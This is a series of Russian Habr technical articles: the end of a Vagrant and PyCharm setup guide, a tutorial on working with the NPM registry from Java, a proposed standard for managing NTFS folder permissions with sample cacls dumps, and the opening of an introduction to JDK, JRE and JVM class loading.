Теперь необходимо настроить синхронизацию локальной папки с проектами и аналогичной папки в окружении Vagrant. Открываем для редактирования файл Vagrant и раскомментируем в нем строку с config.vm.synced\_folder, исправляя ее на config.vm.synced\_folder C:/Users/adolgikh/PycharmProjects, /home/vagrant/PycharmProjects. Теперь локальные файлы будут синхронизироваться с окружением, в котором установлен интерпретатор. Перезапускаем Vagrant
```
$ vagrant reload
```
и видим, что наша папка с проектом Test была успешно добавлена в папку с проектами в удаленном рабочем окружении.
Чтобы текущие изменения, сделанные по ходу работы над проектом, сразу отправлялись в удаленную среду, необходимо сделать дополнительные настройки в проекте Pycharm. Заходим в меню Run->Edit Configuration и корректируем Path Mapping так, как это показано на скриншоте.
Упоминания заслуживает возможность запуска ssh-консоли в Pycharm. Она запускается из меню Tools и подключается по ssh к окружению, которое указано в настройках удаленного интерпретатора. Таким образом, нам нет необходимости использовать PuTTY с корректно настроенным проектом в Pycharm.
*Настройка Path Mapping в Pycharm*
##### **Заключение**
Несомненно, Vagrant хорош не только тем, что позволяет существенно повысить удобство Python-разработки в Windows. Устанавливая Vagrant, мы получаем возможность создавать, конфигурировать и сохранять полностью функциональные рабочие окружения. Более того, мы можем создавать конфигурации, где одновременно работают несколько Vagrant окружений с различными конфигурациями.
Таким образом, появляется возможность достаточно точно смоделировать предполагаемое рабочее окружение, используемое в production. Одним словом, Vagrant представляет собой еще один ценный инструмент в руках разработчика, в дальнейшем мы постараемся осветить и другие аспекты работы с ним. | https://habr.com/ru/post/264367/ | null | ru | null |
# Работаем с NPM реестром из Java
[NPM](https://www.npmjs.com/) — уникальный репозиторий пакетов из мира JavaScript. В основном здесь те JS библиотеки, которые можно использовать во фронтэнде/в браузере, но есть и серверные для использования в node.js и не только. Если вы программируете на Java и у вас появилась необходимость синтегрироваться с NPM репозиторием, то скорее всего у вас один из двух следующих случаев:
* Вы пишите Web приложение на одном из Java фреймворков и определенные NPM пакеты необходимы для клиентской стороны
* У вас Java приложение (например, для Андройда), которому необходимо уметь запрашивать зависимости и сами ресурсы/пакеты из NPM
Давайте посмотрим как это можно сделать в Java.
### NPM ресурсы для Web-приложения
У вас есть 2 опции:
* Запаковать нужные NPM ресурсы внутрь вашего WAR/JAR
* Использовать CDN для загрузки в runtime нужных ресурсов
#### Упаковка NPM ресурсов в WAR/JAR
Прежде всего вам надо узнать побольше о такой штуке как [WebJars](https://www.webjars.org/). Она позволяет «отражать» NPM (и не только) пакеты в репозиторий Maven. Таким образом вы можете работать с NPM пакетами как с обычными Java пакетами в Maven. Например, для того чтобы включить ресурсы из всем известного [Boostrap](https://getbootstrap.com/) в ваш WAR достаточно добавить следующую зависимость в pom.xml:
```
org.webjars.npm
bootstrap
4.5.0
```
WebJars отражает пакеты из NPM в Maven вместе со всеми необходимыми зависимостями, так что подключив один JAR по зависимостям будут подключены и все остальные нужные пакеты.
WebJars так же имеет большой набор библиотек под разные Java фреймворки для того чтобы удобнее было работать с запакованными и подключенными ресурсами. Подробнее [читайте в документации](https://www.webjars.org/documentation).
WebJars — отличное подспорье для любого Java Backend разработчика. Но есть и более легкие альтернативы: упаковка нужных пакетов из NPM с помощью Maven плагинов. Здесь, возможно, не полный список:
* [jnpm-maven-plugin](https://github.com/OrienteerBAP/JNPM#maven-plugin)
* [frontend-maven-plugin](https://github.com/eirslett/frontend-maven-plugin)
* [npm-maven-plugin](https://github.com/jy4618272/npm-maven-plugin)
Например, чтобы включить пакеты vue и vuex нужных версий с помощью [jnpm-maven-plugin](https://github.com/OrienteerBAP/JNPM#maven-plugin) добавьте следующие строчки в pom.xml:
```
org.orienteer.jnpm
jnpm-maven-plugin
1.0
install
vue@2.6.11
vuex@~3.4.0
```
Можно использовать нотацию NPM для определения диапазона нужных версий:
* Звездочка (\*|X|x) — 1.\* эквивалентно >=1.0.0 & <2.0.0
* Тильда (~) — ~1.5 эквивалентно >=1.5.0 & <1.6.0
* Дефис (-) — 1.0-2.0 эквивалентно >=1.0.0 & <=2.0.0
* Каретка (^) — ^0.2.3 эквивалентно >=0.2.3 & <0.3.0
* Частичный диапазон — 1 эквивалентно 1.X or >=1.0.0 & <2.0.0
* Отрицание — !(1.x) эквивалентно <1.0.0 & >=2.0.0
* Сложные — ~1.3 | (1.4.\* & !=1.4.5) | ~2
Также, вы можете задать какие именно файлы нужно включить из пакетов используя includes и excludes. Например, обычно NPM пакет содержит «скомпиленные» файлы в директории /dist. Другие файлы являются исходниками и врядли будут нужны и полезны внутри Java Web приложения. Чтобы включить только содержимое директории dist/ достаточно добавить следующее в секцию :
```
dist/\*
```
По умолчанию jnpm-maven-plugin запаковывает ресурсы по точно таким же путям как и WebJars. Это позволяет использовать упомянутые выше [библиотеки WebJars](https://www.webjars.org/documentation) для разных фреймворков для доступа к ресурсам. Если вам необходим какой-то другой специфичный формат упаковывания, то просьба [обратиться к документации](https://github.com/OrienteerBAP/JNPM#maven-plugin).
#### Использование CDN
Есть множество публично доступных CDN с NPM ресурсами. Наиболее известные и используемые:
* [UNPKG](https://unpkg.com/)
* [JSDELIVR](https://www.jsdelivr.com/)
Также вы можете использовать свой собственный CDN (например поднятый через docker) или даже встроить CDN функционал внутрь вашего Web-App. Например, добавьте следующий сервлет в web.xml чтобы включить JNPM CDN. Отредактируйте по необходимости:
```
CDNServlet
org.orienteer.jnpm.cdn.CDNServlet
CDNServlet
/cdn/\*
```
После загрузки сервлета NPM ресурсы будут доступны через URL следующего формата: http(s)://<домен>:<порт>/<путь до веб приложения>/cdn//<путь до файла>.
Например:
> [localhost](http://localhost):8080/cdn/vue@2.6.11/dist/vue.js
### Работа с NPM REST API из Java
Безусловно, вы можете использовать напрямую REST API реестра NPM, скажем, через [Retrofit](https://square.github.io/retrofit/). В этом вам поможет [соответствующая документация](https://github.com/npm/registry/blob/master/docs/REGISTRY-API.md). Но удобнее использовать библиотеку [JNPM](https://github.com/OrienteerBAP/JNPM#java-api), которая представляет Java обертку для данного REST API и не только.
Включаем JNPM Jar в pom.xml:
```
org.orienteer.jnpm
jnpm
1.0
```
Инициализируем JNPM API:
```
JNPMService.configure(JNPMSettings.builder()
.homeDirectory(Paths.get("/home/myuser/.jnpm")) //Опционально
.downloadDirectory(Paths.get("/tmp")) //Опционально
//Другие возможные опции - см. документацию
.build());
```
JNPM API предоставляет 2 опции: Синхронное API и Ассинхронное API через RXJava. Что именно использовать — решать вам:
```
JNPMService jnpmService = JNPMService.instance(); //Synchronous Java API
RxJNPMService rxJnpmService = JNPMService.instance().getRxService() //RXJava API
```
Пример использования:
```
//Общая информаци о NPM реестре
System.out.println(JNPMService.instance().getRegistryInfo());
//Заполучить и напечатать информацию о последней версии VUE
System.out.println(JNPMService.instance().getPackageInfo("vue").getLatest());
//Напечатать описание пакета vue@2.6.11
System.out.println(JNPMService.instance().getVersionInfo("vue", "2.6.11").getDescription());
//Напечатать последнюю версию до второго официального релиза
System.out.println(JNPMService.instance().bestMatch("vue@<2").getVersionAsString());
//Скачать архив для vue@2.6.11 и напечатать локальный путь
VersionInfo vueVersion = JNPMService.instance().getVersionInfo("vue", "2.6.11");
vueVersion.downloadTarball().blockingAwait();
System.out.println(vueVersion.getLocalTarball().getAbsolutePath());
//Искать "vue" и напечатать описание первого результата
System.out.println(JNPMService.instance().search("vue").getObjects().get(0).getSearchPackage().getDescription());
// Пройтись и напечатать информацию по всем dev зависимостям последней версии vue
// а так же установить данные пакеты так как делает это сам NPM (node_modules/vue и т.д.)
JNPMService.instance().getRxService()
.traverse(TraverseDirection.WIDER, TraversalRule.DEV_DEPENDENCIES, "vue")
.subscribe(t -> {System.out.println(t); t.install(Paths.get("target", "readme"), InstallationStrategy.NPM);});
```
Если у вас какой-то специфичный случай, который был не описан здесь — пожалуйста, дайте знать! | https://habr.com/ru/post/512912/ | null | ru | null |
# Стандарт управления правами доступа к корпоративным файловым информационным ресурсам
[](https://habrahabr.ru/post/281937/)
Что может быть проще, чем разграничить права на папку в NTFS? Но эта простая задача может превратиться в настоящий кошмар, когда подобных папок сотни, если не тысячи, а изменение прав к одной папке «ломает» права на другие. Чтобы эффективно работать в подобных условиях, требуется определенная договоренность, или стандарт, который бы описывал, как решать подобные задачи. В данной статье мы как раз и рассмотрим один из вариантов подобного стандарта.
Сфера действия
==============
Стандарт управления правами доступа к корпоративным файловым информационным ресурсам (далее – Стандарт) регламентирует процессы предоставления доступа к файловым информационным ресурсам, размещенным на компьютерах, работающих под управлением операционных систем семейства Microsoft Windows. Стандарт распространяется на случаи, когда в качестве файловой системы используется NTFS, а в качестве сетевого протокола для совместного доступа к файлам SMB/CIFS.
Термины и определения
=====================
**Информационный ресурс** – поименованная совокупность данных, к которой применяются методы и средства обеспечения информационной безопасности (например, разграничение доступа).
**Файловый информационный ресурс** – совокупность файлов и папок, хранящихся в каталоге файловой системы (который называется корневым каталогом файлового информационного ресурса), доступ к которой разграничивается.
**Составной файловый информационный ресурс** – это файловый информационный ресурс, содержащий в себе один или несколько вложенных файловых информационных ресурсов, отличающихся от данного ресурса правами доступа.
**Вложенный файловый информационный ресурс** – это файловый информационный ресурс, входящий в составной информационный ресурс.
**Точка входа в файловый информационный ресурс** – каталог файловой системы, к которому предоставляется сетевой доступ (shared folder) и который используется для обеспечения доступа к файловому информационному ресурсу. Данный каталог обычно совпадает с корневым каталогом файлового информационного ресурса, но может быть и вышестоящим.
**Промежуточный каталог** – каталог файловой системы, находящийся на пути от точки входа в файловый информационной ресурс к корневому каталогу файлового информационного ресурса. Если точка входа в файловый информационный ресурс является вышестоящим каталогом по отношению к корневому каталогу файлового информационного ресурса, то она также будет являться промежуточным каталогом.
**Группа доступа пользователей** – локальная или доменная группа безопасности, содержащая в конечном счете учетные записи пользователей, наделенные одним из вариантов полномочий доступа к файловому информационному ресурсу.
Основные принципы
=================
1. Доступ разграничивается только на уровне каталогов. Ограничение доступа к отдельным файлам не проводится.
2. Назначение прав доступа выполняется на базе групп безопасности. Назначение прав доступа на отдельные учетные записи пользователей не проводится.
3. Явно запрещающие полномочия доступа (deny permissions) не применяются.
4. Разграничение прав доступа проводится только на уровне файловой системы. На уровне сетевых протоколов SMB/CIFS права не разграничиваются (Группа «Все» – полномочия «Чтение/Запись» / Everyone – Change).
5. При настройке сетевого доступа к файловому информационному ресурсу в настройках SMB/CIFS устанавливается опция «Перечисление на основе доступа (Access based enumeration)».
6. Создание файловых информационных ресурсов на рабочих станциях пользователей недопустимо.
7. Не рекомендуется размещать файловые информационные ресурсы на системных разделах серверов.
8. Не рекомендуется создавать несколько точек входа в файловый информационный ресурс.
9. Следует по возможности избегать создание вложенных файловых информационных ресурсов, а в случаях, когда имена файлов или каталогов содержат конфиденциальную информацию, это вовсе недопустимо
Модель разграничения доступа
============================
Доступ пользователей к файловому информационному ресурсу предоставляется путем наделения их одним из вариантов полномочий:
* Доступ «Только на чтение (**R**ead **O**nly)».
* Доступ «Чтение и запись (**R**ead & **W**rite)».
В подавляющем количестве задач разграничения доступа подобных вариантов полномочий доступа будет достаточно, но при необходимости возможно формирование новых вариантов полномочий, например, «Чтение и запись, кроме удаления (Read & Write without Remove)». Для реализаций новый полномочий необходимо будет уточнить пункт В.3 Таблицы 1, в остальном применение Стандарта останется неизменным.
Правила именования групп доступа пользователей
==============================================
Имена групп доступа пользователей формируются по шаблону:
*FILE-Имя файлового информационного ресурса–аббревиатура полномочий*
*Имя файлового информационного ресурса*
должно совпадать с UNC именем ресурса или состоять из имени сервера и локального пути (если сетевой доступ к ресурсу не предоставляется). При необходимости в данном поле допускаются сокращения. Символы «\\» опускаются, а «\» и «:» заменяются на «-».
*Аббревиатуры полномочий*:
* RO — для варианта доступа «Только на чтение (Read Only)»
* RW — для варианта доступа «Чтение и запись (Read & Write)».
*Пример 1*
Имя группы доступа пользователей, имеющих полномочия «Только чтение» для файлового информационного ресурса с UNC именем \\FILESRV\Report, будет:
FILE-FILESRV-Report-RO
*Пример 2*
Имя группы доступа пользователей, имеющих полномочия «Чтение и запись» для файлового информационного ресурса, размещенного на сервере TERMSRV по пути D:\UsersData, будет:
FILE-TERMSRV-D-UsersData-RW
Шаблон прав доступа к каталогам файлового информационного ресурса
=================================================================
**Таблица 1** – Шаблон NTFS-прав доступа для корневого каталога файлового информационного ресурса.
| | | |
| --- | --- | --- |
| **Субъекты** | **Права** | **Режим наследования** |
| *Наследование прав доступа от вышестоящих каталогов отключено* |
| *А) Обязательные права* |
| Специальная учетная запись:
«СИСТЕМА (SYSTEM)» | Полный доступ (Full access) | Для этой папки, ее подпапок и файлов (This folder, subfolders and files) |
| Локальная группа безопасности:
«Администраторы (Administrators)» | Полный доступ (Full access) | Для этой папки, ее подпапок и файлов (This folder, subfolders and files) |
| *Б.1) Полномочия «Только чтение (**R**ead **O**nly)»* |
| Группа доступа пользователей:
«FILE-Имя ресурса-RO» | Базовые права:
а) чтение и выполнение (read & execute);
б) список содержимого папки (list folder contents);
в) чтение (read); | Для этой папки, ее подпапок и файлов (This folder, subfolders and files) |
| *Б.2) Полномочия «Чтение и запись (**R**ead & **W**rite)»* |
| Группа доступа пользователей:
«FILE-Имя ресурса-RW» | Базовые права:
а) изменение (modify);
б) чтение и выполнение (read & execute);
в) список содержимого папки (list folder contents);
г) чтение (read);
д) запись (write); | Для этой папки, ее подпапок и файлов (This folder, subfolders and files) |
| *Б.3) Другие полномочия при их наличии* |
| Группа доступа пользователей:
«FILE-Имя ресурса-аббревиатура полномочий» | Согласно полномочиям | Для этой папки, ее подпапок и файлов (This folder, subfolders and files) |
**Табилца 2** – Шаблон NTFS-прав доступа для промежуточных каталогов файлового информационного ресурса.
| | | |
| --- | --- | --- |
| **Субъекты** | **Права** | **Режим наследования** |
| *Наследование прав доступа от вышестоящих каталогов включено, но если данный каталог является вышестоящим по отношению к файловым информационным ресурсам и не входит ни в один другой файловый информационный ресурс, то наследование отключено* |
| *А) Обязательные права* |
| Специальная учетная запись:
«СИСТЕМА (SYSTEM)» | Полный доступ (Full access) | Для этой папки, ее подпапок и файлов (This folder, subfolders and files) |
| Локальная группа безопасности:
«Администраторы» | Полный доступ (Full access) | Для этой папки, ее подпапок и файлов (This folder, subfolders and files) |
| *Б.1) Полномочия «Проход через каталог (**TRAVERSE**)»* |
| Группы доступа пользователей информационных ресурсов, для которых этот каталог является промежуточным | Дополнительные параметры безопасности:
а) траверс папок / выполнение файлов (travers folder / execute files);
б) содержимое папки / чтение данных (list folder / read data);
в) чтение атрибутов (read attributes);
в) чтение дополнительных атрибутов (read extended attributes);
г) чтение разрешений (read permissions); | Только для этой папки (This folder only) |
Бизнес процессы управления доступом к файловым информационным ресурсам
======================================================================
**А. Создание файлового информационного ресурса**
При создании файлового информационного ресурса выполняются следующие действия:
1. Создаются группы доступа пользователей. Если сервер, на котором размещен файловый информационный ресурс, является членом домена, то создаются доменные группы. Если нет, то группы создаются локально на сервере.
2. На корневой каталог и промежуточные каталоги файлового информационного ресурса назначаются права доступа согласно шаблонам прав доступа.
3. В группы доступа пользователей добавляются учетные записи пользователей в соответствии с их полномочиями.
4. При необходимости для файлового информационного ресурса создается сетевая папка (shared folder).
**Б. Предоставление пользователю доступа к файловому информационному ресурсу**
Учетная запись пользователя помещается в соответствующую группу доступа пользователя в зависимости от его полномочий.
**В. Изменение доступа пользователя к файловому информационному ресурсу**
Учетная запись пользователя перемещается в другую группу доступа пользователей в зависимости от указанных полномочий.
**Г. Блокирование доступа пользователя к файловому информационному ресурсу**
Учетная запись пользователя удаляется из групп доступа пользователей файлового информационного ресурса. Если работник увольняется, то членство в группах не меняется, а блокируется учетная запись целиком.
**Д1. Создание вложенного файлового информационного ресурса. Расширение доступа**
Данная задача возникает, когда к некоторому каталогу файлового информационного ресурса необходимо предоставить доступ дополнительной группе лиц (расширить доступ). При этом выполняются следующие мероприятия:
1. Регистрируется вложенный файловый информационный ресурс (согласно процессу А)
2. В группы доступа пользователей вложенного файлового информационного ресурса добавляются группы доступа пользователей вышестоящего составного файлового информационного ресурса.
**Д2. Создание вложенного файлового информационного ресурса. Сужение доступа**
Данная задача возникает, когда к некоторому каталогу файлового информационного ресурса необходимо ограничить доступ и предоставить его только ограниченной группе лиц:
1. Регистрируется вложенный файловый информационный ресурс (согласно процессу А)
2. В группы доступа пользователей создаваемого информационного ресурса помещаются те учетные записи пользователей, которым требуется предоставить доступ.
**Е. Изменение модели предоставления доступа к файловому информационному ресурсу**
В случаях, когда к стандартным вариантам полномочий «Только чтение (Read only)» или «Чтение и запись (Read & Write)» необходимо добавить новые типы полномочий, например, «Чтение и запись, кроме удаления (Read & Write without Remove)» выполняют следующие действия:
1. Организационными (или техническими, но не связанными с изменением прав доступа к каталогам файловой системы) мерами блокируется доступ пользователей к данному и всем вложенным файловым информационным ресурсам.
2. К корневому каталогу файлового информационного ресурса назначаются новые права доступа, при этом заменяются права доступа для всех дочерних объектов (активируется наследие).
3. Перенастраиваются права доступа для всех вложенных информационных ресурсов.
4. Настраиваются промежуточные каталоги для данного и вложенных информационных ресурсов.
Примеры
=======
Рассмотрим применение данного стандарта на примере гипотетической организации ООО «ИнфоКриптоСервис», где для централизованного хранения файловых информационных ресурсов выделен сервер с именем «FILESRV». Сервер работает под управлением операционной системы Microsoft Windows Server 2008 R2 и является членом домена Active Directory с FQDN именем «domain.ics» и NetBIOS именем «ICS».
**Подготовка файлового сервера**
На диске «D:» сервера «FILESRV» создаем каталог «D:\SHARE\». Этот каталог будет единой точкой входа во все файловые информационные ресурсы, размещенные на данном сервере. Организуем сетевой доступ к данной папке (используем апплет «Share and Storage Management»):
| | |
| --- | --- |
| | |
**Создание файлового информационного ресурса**
*Постановка задачи.*
Пусть в составе организации ООО «ИнфоКриптоСервис» имеется Отдел разработки информационных систем в составе: начальника отдела Иванова Сергея Леонидовича (SL.Ivanov@domain.ics), специалиста Маркина Льва Борисовича (LB.Markin@domain.ics), и для них нужно организовать файловый информационный ресурс для хранения данных подразделения. Обоим работникам требуется доступ на чтение и запись к данному ресурсу.
*Решение.*
В каталоге «D:\SHARE\» сервера «FILESRV» создадим папку «D:\SHARE\Отдел разработки информационных систем\», которая будет корневым каталогом для файлового информационного ресурса. Также создадим группы доступа пользователей (глобальные группы безопасности домена «ICS») для данного ресурса:
* «FILE-FILESRV-SHARE-Отд. разр. ИС-RO»
* «FILE-FILESRV-SHARE-Отд. разр. ИС-RW»
Настроим права доступа для каталога «D:\SHARE\Отдел разработки информационных систем\»:
Дамп NTFS разрешений, полученных командой cacls:
`ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RO:(OI)(CI)R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RW:(OI)(CI)C
NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F`
Каталог D:\SHARE\ является точкой входа и промежуточным каталогом для данного ресурса. Добавим в него права на проход (Traverse) для групп: «FILE-FILESRV-SHARE-Отд. разр. ИС-RO» и «FILE-FILESRV-SHARE-Отд. разр. ИС-RW»
Дамп NTFS разрешений, полученных командой cacls:
`ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RO:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RW:R
NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F`
Поскольку пользователям требуется доступ на чтение и запись, добавим их учетные запаси в группу «FILE-FILESRV-SHARE-Отд. разр. ИС-RW»
**Предоставление доступа пользователю к файловому информационному ресурсу**
*Постановка задачи.*
Предположим, в отдел разработки приняли еще одного работника – специалиста Егорова Михаила Владимировича (MB.Egorov@domain.ics), и ему, как и остальным работникам отдела, требуется доступ на чтение и запись к файловому информационному ресурсу отдела.
*Решение.*
Учетную запись работника необходимо добавить в группу «FILE-FILESRV-SHARE-Отд. разр. ИС-RW»
**Создание вложенного информационного ресурса. Расширение доступа**
*Постановка задачи.*
Предположим, Отдел разработки информационных систем решил улучшить качество взаимодействия с Отделом маркетинга и предоставить руководителю последнего — Кругликовой Наталье Евгеньевне (NE.Kruglikova@domain.ics) — доступ на чтение к актуальной документации на продукты, хранящейся в папке «Документация» файлового информационного ресурса Отдела разработки информационных систем.
*Решение.*
Для решения данной задачи необходимо сделать вложенный ресурс «\\FILESRV\share\Отдел разработки информационных систем\Документация», доступ к которому на чтение и запись должен быть (остаться) у всех пользователей, имевших доступ к «\\FILESRV\share\Отдел разработки информационных систем\ и добавиться доступ на чтение для пользователя Кругликовой Натальи Евгеньевне (NE.Kruglikova@domain.ics)
В каталоге «D:\SHARE\Отдел разработки информационных систем\» создадим папку «D:\SHARE\Отдел разработки информационных систем\Документация», которая будет корневым каталогом для нового ресурса. Также создадим две группы доступа пользователей:
* «FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RO»
* «FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RW»
Настроим права доступа на папку «D:\SHARE\Отдел разработки информационных систем\Документация» следующим образом:
Дамп NTFS разрешений, полученных командой cacls:
`NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RO:(OI)(CI)R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RW:(OI)(CI)C`
Поскольку всем пользователям, имеющим доступ в «\\FILESRV\share\Отдел разработки информационных систем\», необходим аналогичный доступ в \\FILESRV\share\Отдел разработки информационных систем\Документация», то добавим группу «FILE-FILESRV-SHARE-Отд. разр. ИС-RO» в «FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RO» и «FILE-FILESRV-SHARE-Отд. разр. ИС-RW» в «FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RW» соответственно. Добавим учетную запись Кругликовой Натальи Евгеньевны (NE.Kruglikova@domain.ics) в группу «FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RW»
Теперь, если Кругликова Наталья Евгеньевна (NE.Kruglikova@domain.ics) обратится по ссылке «\\FILESRV\share\Отдел разработки информационных систем\Документация», то она сможет попасть в интересующую ее папку, но обращаться по полному пути не всегда удобно, поэтому настроим сквозной проход к данной паке от точки входа «\\FILESRV\share\» («D:\SHARE\»). Для этого настроим права доступа на промежуточные каталоги «D:\SHARE\» и «D:\SHARE\Отдел разработки информационных систем\».
Проведем настройку «D:\SHARE\»:
Дамп NTFS разрешений, полученных командой cacls:
`ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RO:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RW:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RO:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RW:R
NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F`
и «D:\SHARE\Отдел разработки информационных систем»:
Дамп NTFS разрешений, полученных командой cacls:
`ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RO:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RW:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RO:(OI)(CI)R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RW:(OI)(CI)C
NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F`
**Создание вложенного информационного ресурса. Сужение доступа**
*Постановка задачи*
В целях организации резервного копирования наработок Отдела разработки информационных систем начальнику отдела Иванову Сергею Леонидовичу (SL.Ivanov@domain.ics), в рамках файлового информационного ресурса отдела, понадобилась сетевая папка «Архив», доступ к которой был бы только у него.
*Решение.*
Для решения данной задачи в файловом информационном ресурсе отдела требуется сделать вложенный ресурс «Архив» («\\FILESRV\share\Отдел разработки информационных систем\Архив»), доступ к которому предоставить только начальнику отдела.
В каталоге «D:\SHARE\Отдел разработки информационных систем\» создадим папку «D:\SHARE\Отдел разработки информационных систем\Архив», которая будет корневым каталогом для нового ресурса. Также создадим две группы доступа пользователей:
* «FILE-FILESRV-SHARE-Отд. разр. ИС-Архив-RO»
* «FILE-FILESRV-SHARE-Отд. разр. ИС-Архив-RW»
Проведем настройки прав доступа на каталоги «D:\SHARE\Отдел разработки информационных систем\Архив»:
Дамп NTFS разрешений, полученных командой cacls:
`NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Архив-RO:(OI)(CI)R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Архив-RW:(OI)(CI)C`
«D:\SHARE\Отдел разработки информационных систем»
Дамп NTFS разрешений, полученных командой cacls:
`ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RO:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RW:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Архив-RO:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Архив-RW:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RO:(OI)(CI)R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RW:(OI)(CI)C
NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F`
и «D:\SHARE\»:
Дамп NTFS разрешений, полученных командой cacls:
`ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RO:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-RW:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RO:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Документация-RW:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Архив-RO:R
ICS\FILE-FILESRV-SHARE-Отд. разр. ИС-Архив-RW:R
NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F`
Учетную запись пользователя Иванова Сергея Леонидовича (SL.Ivanov@domain.ics) добавим в группу FILE-FILESRV-Отд. раз.ИС-Архив-RW. | https://habr.com/ru/post/281937/ | null | ru | null |
# Инструменты для запуска и разработки Java приложений, компиляция, выполнение на JVM
Ни для кого не секрет, что на данный момент Java — один из самых популярных языков программирования в мире. Дата официального выпуска Java — 23 мая 1995 года.
Эта статья посвящена основам основ: в ней изложены базовые особенности языка, которые придутся кстати начинающим “джавистам”, а опытные Java-разработчики смогут освежить свои знания.
*\* Статья подготовлена на основе доклада Евгения Фраймана — Java разработчика компании IntexSoft.
В статье присутствуют ссылки на внешние материалы*.
### 1. JDK, JRE, JVM
[Java Development Kit](https://docs.oracle.com/en/java/javase/13/docs/specs/man/index.html) — комплект разработчика приложений на языке Java. Он включает в себя [Java Development Tools](https://docs.oracle.com/javase/6/docs/technotes/tools/index.html) и среду выполнения Java — [JRE](https://www.oracle.com/technetwork/java/javase/jre-8-readme-2095710.html) (Java Runtime Environment).
**Java development tools** включают в себя около 40 различных тулов: javac (компилятор), java (лаунчер для приложений), javap (java class file disassembler), jdb (java debugger) и др.
Среда выполнения JRE — это пакет всего необходимого для запуска скомпилированной Java-программы. Включает в себя виртуальную машину [JVM](https://docs.oracle.com/javase/6/docs/technotes/guides/vm/index.html) и библиотеку классов Java — **Java Class Library**.
**JVM** — это программа, предназначенная для выполнения байт-кода. Первое преимущество JVM — это принцип *“Write once, run anywhere”*. Он означает, что приложение, написанное на Java, будет работать одинаково на всех платформах. Это является большим преимуществом JVM и самой Java.
До появления Java, многие компьютерные программы были написаны под определенные компьютерные системы, а предпочтение отдавалось ручному управлению памятью, как более эффективному и предсказуемому. Со второй половины 1990-х годов, после появления Java, автоматическое управление памятью стало общей практикой.
Существует множество реализаций JVM, как коммерческих, так и с открытым кодом. Одна из целей создания новых JVM — увеличение производительности для конкретной платформы. Каждая JVM пишется под платформу отдельно, при этом есть возможность написать ее так, чтобы она работала быстрее на конкретной платформе. Самая распространённая реализация JVM — это JVM Hotspot от [OpenJDK](https://openjdk.java.net/). Также есть реализации [IBM J9](https://www.ibm.com/support/knowledgecenter/SS4QMC_9.3.0/com.ibm.help.perf.manage.doc/c_FND_PM_IBMJ9JVM.html), [Excelsior JET](https://en.wikipedia.org/wiki/Excelsior_JET).
### 2. Выполнение кода на JVM
Согласно [спецификации Java SE](https://docs.oracle.com/javase/specs/), для того, чтобы получить код, работающий в JVM, необходимо выполнить 3 этапа:
* Загрузка байт-кода и создание экземпляра класса Class
Грубо говоря, чтобы попасть на JVM, класс должен быть загружен. Для этого существуют отдельные класс-загрузчики, к ним мы вернемся чуть позже.
* Связывание или линковка
После загрузки класса начинается процесс линковки, на котором байт-код разбирается и проверяется. Процесс линковки в свою очередь происходит в 3 шага:
— verification или проверка байт-кода: проверяется корректность инструкций, возможность переполнения стека на данном участке кода, совместимость типов переменных; проверка происходит один раз для каждого класса;
— preparation или подготовка: на данном этапе в соответствии со спецификацией выделяется память под статические поля и происходит их инициализация;
— resolution или разрешение: разрешение символьных ссылок (когда в байт-коде мы открываем файлы с расширением .class, мы видим числовые значения вместо символьных ссылок).
* Инициализация полученного объекта Class
На последнем этапе класс, который мы создали, инициализируется, и JVM может начинать его исполнение.
### 3. Загрузчики классов и их иерархия
Вернемся к загрузчикам классов — это специальные классы, которые являются частью JVM. Они загружают классы в память и делают их доступными для выполнения. Загрузчики работают со всеми классами: и с нашими, и с теми, которые непосредственно нужны для Java.
Представьте ситуацию: мы написали свое приложение, и помимо стандартных классов там есть наши классы, и их очень много. Как с этим будет работать JVM? В Java реализована отложенная загрузка классов, иными словами lazy loading. Это значит, что загрузка классов не будет выполняться до тех пор, пока в приложении не встретится обращение к классу.
#### Иерархия загрузчиков классов
